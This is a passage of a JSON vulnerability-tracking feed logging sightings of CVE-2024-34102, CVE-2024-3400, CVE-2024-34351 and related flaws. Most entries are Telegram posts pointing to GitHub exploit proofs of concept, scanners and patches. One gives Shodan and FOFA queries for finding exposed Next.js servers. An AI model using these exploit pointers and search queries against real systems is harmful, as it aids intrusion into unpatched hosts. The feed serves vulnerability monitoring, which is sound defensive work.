\n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1apoc for CVE-2024-34102 \nURL\uff1ahttps://github.com/unknownzerobit/poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-08T11:25:29.000000Z"}, {"uuid": "f095ae9f-7c88-4d98-8606-0bb0edefae3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "Telegram/0XIhWL9u3TURRxPZwtlJOta_6VFGTrjK73IsDBt66QftRWM", "content": "", "creation_timestamp": "2024-05-21T13:45:57.000000Z"}, {"uuid": "39463d38-3315-4e06-b464-796051e6268d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34710", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/903", "content": "\u200aCVE-2024-34710: Wiki.js Vulnerability Exposes Users to Potential Account Takeover\n\nhttps://securityonline.info/cve-2024-34710-wiki-js-vulnerability-exposes-users-to-potential-account-takeover/", "creation_timestamp": "2024-05-25T15:54:29.000000Z"}, {"uuid": "ce11f00b-a1f6-4a3f-85c2-57248358f1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7956", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/1mpl3ment3d/CVE-2024-34102-RCE-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-12T11:20:39.000000Z"}, {"uuid": "dc22280f-5bf0-4429-a8d8-470da442dc70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7972", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 made Python code\nURL\uff1ahttps://github.com/bughuntar/CVE-2024-34102-Python\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T17:35:59.000000Z"}, {"uuid": "c6faec4f-a2e7-4639-8a98-984a79c4bd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7899", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCosmicSting (CVE-2024-34102) POC / Patch Validator\nURL\uff1ahttps://github.com/SamJUK/cosmicsting-validator\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-08T00:05:56.000000Z"}, {"uuid": "d00e5847-19f9-4594-a371-d2b5448fb135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/n_s0Yn7lrdKniJIJlbaHGPPYTRcEg2hSGfe9ZskixUi-yV0", "content": "", "creation_timestamp": "2024-04-15T10:39:03.000000Z"}, {"uuid": "b7a7f0c4-6c71-4c4d-8259-8cb183ab4f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/swTqqQyj9Mmx46rOHgE069Cf9rrq1oAExNDiQsmKnGE_B7c", "content": "", "creation_timestamp": "2024-04-12T13:20:30.000000Z"}, {"uuid": "596e0039-7ef3-4b0d-a4bd-3aeb73f14b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8121", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/etx-Arn/CVE-2024-34102-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-30T04:46:31.000000Z"}, {"uuid": "16158fe4-662c-4259-b971-0deaaf3c3adf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9253", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 PAN-OS Vulnerability Scanner.\nURL\uff1ahttps://github.com/nanwinata/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-30T05:51:56.000000Z"}, {"uuid": "bee2fe2c-7cfc-4ec8-9c38-73d2021eb1da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34398", "type": "seen", "source": "https://t.me/cvedetector/20149", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34398 - BMC Remedy Mid Tier Stored HTML Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34398 \nPublished : March 12, 2025, 5:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : An issue was discovered in BMC Remedy Mid Tier 7.6.04. The web application allows stored HTML Injection by authenticated remote attackers. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-12T20:22:57.000000Z"}, {"uuid": "3b41ca49-4494-492e-bc06-a8b0de90adfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7934", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/Ex-Arn/CVE-2024-34102-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-10T16:44:20.000000Z"}, {"uuid": "5aa93e28-641a-42c8-a44d-729188a7aeb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7969", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploitation CVE-2024-34102\nURL\uff1ahttps://github.com/bughuntar/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-05T05:34:59.000000Z"}, {"uuid": "369a0079-131e-4686-a481-075d12c8030e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "content": "", "creation_timestamp": "2026-04-18T00:00:00.000000Z"}, {"uuid": "3e2763b0-5ad8-44b5-a4e1-b6f876d9214c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-19)", "content": "", "creation_timestamp": "2026-04-19T00:00:00.000000Z"}, {"uuid": "d09c119b-64ea-4254-85de-1443829ea690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "5e66c767-a19b-4695-93c6-9f7329e18478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/cKure/12714", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Palo Alto Networks firewalls under attack, hotfixes incoming! (CVE-2024-3400).\n\nhttps://www.helpnetsecurity.com/2024/04/12/cve-2024-3400/", "creation_timestamp": "2024-04-12T23:54:00.000000Z"}, {"uuid": "ef23da77-f30e-43b1-885b-3fcd03be318e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "https://t.me/cKure/13022", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2024-34331: Parallels Repack Privilege Escalation.\n\nhttps://khronokernel.com/macos/2024/05/30/CVE-2024-34331.html", "creation_timestamp": "2024-05-31T22:33:06.000000Z"}, {"uuid": "4f579b3c-14ac-4d18-a7c4-835628ac9574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34015", "type": "seen", "source": "Telegram/4XP7pe79Hg9ddw2lA1RKHUSq1w5HsX0DJg492HhR9NYLMMPR", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "72bd1e75-cb6c-4a45-9feb-b7ee0a8c9214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34014", "type": "seen", "source": "Telegram/KP5ObbcostV-thLSsgK7LT-0zS5pvYjGXfEv6_ZP3yFEY8xu", "content": "", "creation_timestamp": "2025-03-02T11:44:21.000000Z"}, {"uuid": "96b77e86-f5bf-4d58-aa29-1196d7120be9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8096", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34693: Server Arbitrary File Read in Apache Superset\nURL\uff1ahttps://github.com/mbadanoiu/CVE-2024-34693\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-27T22:08:30.000000Z"}, {"uuid": "85670fa2-78ba-4bd2-9aa7-6ce93c92c5c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8199", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMagento 2 patch for CVE-2024-34102(aka CosmicSting). Another way(as an extension) to hotfix the security hole if you cannot apply the official patch or cannot upgrade Magento.\nURL\uff1ahttps://github.com/wubinworks/magento2-cosmic-sting-patch\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-08T08:41:31.000000Z"}, {"uuid": "237815fe-080f-4e97-95cb-635e5c2bfddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8147", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/etx-Arn/CVE-2024-34102-RCE-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-01T17:37:54.000000Z"}, {"uuid": "3dcd955a-a52d-488a-b5fe-df67332ff53d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/crackvaultde/41", "content": "CVE-2024-3400 is a security vulnerability affecting applications or services that accept user input and execute operating system commands based on that input without adequate validation. This vulnerability allows attackers to inject malicious or damaging OS commands through received input, potentially resulting in system exploitation, data manipulation, or even full control over the vulnerable system.\n\nFor more information and updates, please refer to the CVE-2024-3400.\n\n*Note\nPlease wait for the response results. The response takes quite a long time", "creation_timestamp": "2024-09-05T01:30:12.000000Z"}, {"uuid": "e938c068-daae-4708-abb7-e97d977f63ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8331", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC for a full exploitation of NextJS SSRF (CVE-2024-34351) \nURL\uff1ahttps://github.com/God4n/nextjs-CVE-2024-34351-_exploit\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-22T19:26:38.000000Z"}, {"uuid": "22241e23-a5fd-4ad8-bc2f-cb96f11e1c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8252", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC for CVE-2024-34102\nURL\uff1ahttps://github.com/EQSTSeminar/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-13T07:37:43.000000Z"}, {"uuid": "1b96a602-75b7-4401-9604-928577115eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34831", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8486", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aDisclosure of CVE-2024-34831\nURL\uff1ahttps://github.com/enzored/CVE-2024-34831\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-09T00:00:42.000000Z"}, {"uuid": "c83ed6ca-71d1-4c2c-b4b0-e9563ed2e097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8580", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aAutomated Exploit for CVE-2024-34716 for Prestashop.\nURL\uff1ahttps://github.com/atirjavid/Prestashop_CVE-2024-34716\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-24T01:21:29.000000Z"}, {"uuid": "d4fb7e8c-fe15-4efd-9034-a48f3b387778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7055", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA simple bash script to check for evidence of compromise related to CVE-2024-3400\nURL\uff1ahttps://github.com/MurrayR0123/CVE-2024-3400-Compromise-Checker\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-15T04:18:06.000000Z"}, {"uuid": "f32f4894-3a57-4a0a-96ab-8e3e15f51208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7053", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA simple bash script to check for evidence of compromise related to CVE-2024-3400\nURL\uff1ahttps://github.com/MurrayR0123/CVE-2024-3400_compromise_checker\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-15T03:29:59.000000Z"}, {"uuid": "d31e3626-3b95-4167-ad03-0955944f1a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7135", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400-RCE\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2024-3400-RCE-Scan\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-22T08:53:03.000000Z"}, {"uuid": "471afa7b-1b7a-44a5-b242-48114d548714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7990", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/b4h1x/CVE-2024-34102-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-15T15:10:30.000000Z"}, {"uuid": "a8c7e1fe-478d-4639-a358-5dfa19509726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8034", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce and (NEW 0DAY)?\nURL\uff1ahttps://github.com/ex-ARnX/CVE-2024-34102-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-21T00:24:09.000000Z"}, {"uuid": "e385b1f7-9511-4181-99b2-0888eb3d2e62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/ptswarm/207", "content": "CVE-2024-3400 - Technical Analysis\n\n\ud83d\udc64 by Rapid7\n\nRapid7\u2019sanalysis of this vulnerability has identified that the exploit is in fact an exploit chain, consisting of two distinct vulnerabilities: an arbitrary file creation vulnerability in the GlobalProtect web server, for which no discrete CVE has been assigned, and a command injection vulnerability in the device telemetry feature, designated as CVE-2024-3400.\n\nIf device telemetry is disabled, it is still possible to leverage the file creation vulnerability; at time of writing, however, Rapid7 has not identified an alternative way to leverage the file creation vulnerability for successful exploitation.\n\n\ud83d\udcdd Contents:\n\u25cf Overview\n\u25cf Analysis\n    \u2022 Rooting the Device\n    \u2022 Diffing the Patch\n    \u2022 Arbitrary File Creation\n    \u2022 Command Injection Exploitation\n\u25cf IOCs\n\u25cf Remediation\n\nhttps://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis", "creation_timestamp": "2024-04-17T05:45:52.000000Z"}, {"uuid": "3d5c6f1c-bb66-4048-915a-675b9ee40395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7050", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/kerberoshacker/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-15T07:58:22.000000Z"}, {"uuid": "e67aad64-79c4-4177-b434-de2901b21cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9004", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aAttempt at making the CVE-2024-3400 initial exploit (for educational purposes)\nURL\uff1ahttps://github.com/workshop748/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-12T03:51:19.000000Z"}, {"uuid": "6b09cf2a-0b38-4033-9a7a-4cd2c7f9039b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3495", "type": "seen", "source": "https://t.me/GithubRedTeam/9046", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aWP-SQL-Injection CVE-2024-2876 AND 2024-CVE-2024-3495\nURL\uff1ahttps://github.com/issamiso/CVE-2024-2876\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-16T01:22:54.000000Z"}, {"uuid": "ea1f2764-639d-4608-8c2e-dd350df0c27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3414", "type": "seen", "source": "Telegram/nLNWQ2A7TDsXemvEOhGYNqP4zWkcQ21VqbGkSyR9U3Xck54q", "content": "", "creation_timestamp": "2025-02-14T10:01:40.000000Z"}, {"uuid": "7584da72-0410-4f89-83e5-99187d10db2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "published-proof-of-concept", "source": "https://t.me/hackingbra/126", "content": "\ud83d\udea8Alert\ud83d\udea8CVE-2024-34351:Next.js Server-Side Request Forgery in Server Actions\n\ud83d\udd25PoC: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps#/ \n\u26a0A SSRF vulnerability was identified in Next.js Server Actions by security researchers at Assetnote. If the Host header is modified, and the below conditions are also met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.\n\ud83d\udcca3.1M+ Services are found on  hunter.how\n\ud83d\udd17Hunter Link: https://hunter.how/list?searchValue=product.name%3D%22Next.js%22 \n\ud83d\udcf0Refer: https://github.com/advisories/GHSA-fr5h-rqp8-mj6g \nHunter:/product.name=\"Next.js\"\nFOFA:app=\"Next.js\"\nSHODAN:http.component:\"Next.js\"", "creation_timestamp": "2024-05-10T12:42:38.000000Z"}, {"uuid": "21840df4-3b39-47e0-87ee-47c22b38800a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "Telegram/lFwPID8s5MkrDhyGFaDaCmiOcjcPEN6HyJS_VbQy0kvXmopB", "content": "", "creation_timestamp": "2024-05-26T16:56:11.000000Z"}, {"uuid": "8ff38bcf-2b9a-420d-be26-1783fe15fc87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3495", "type": "seen", "source": "Telegram/tERw5NoxT0GkV8fxIOk9529y_Fo6bv3861-yhMgrcZcamYQ", "content": "", "creation_timestamp": "2024-09-18T11:22:08.000000Z"}, {"uuid": "24e27605-b686-4f5a-bcb1-2f71ece5f157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/c-9nM9mslhGNLfW7QsPDgkIMfnwsyr-9epKeORTrIU88Ta0", "content": "", "creation_timestamp": "2026-04-07T03:00:08.000000Z"}, {"uuid": "12f7f0a9-6b5f-4ff6-be55-f8f9a026d8f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7801", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-34102)\nURL\uff1ahttps://github.com/jakabakos/CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-01T08:23:28.000000Z"}, {"uuid": "a9a225e6-5440-4d37-ba99-8aef5269d1be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34055", "type": "seen", "source": "https://t.me/cvedetector/17380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-37358 - Apache James IMAP Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-37358 \nPublished : Feb. 6, 2025, 12:15 p.m. | 16\u00a0minutes ago \nDescription : Similarly to CVE-2024-34055, Apache James is vulnerable to denial of service through the abuse of IMAP literals from both authenticated and unauthenticated users, which could be used to cause unbounded memory allocation and very long computations  \n  \nVersion 3.7.6 and 3.8.2 restrict such illegitimate use of IMAP literals. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-06T13:33:18.000000Z"}, {"uuid": "468c84ad-9d23-4e9a-b5f8-47cfb90519ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 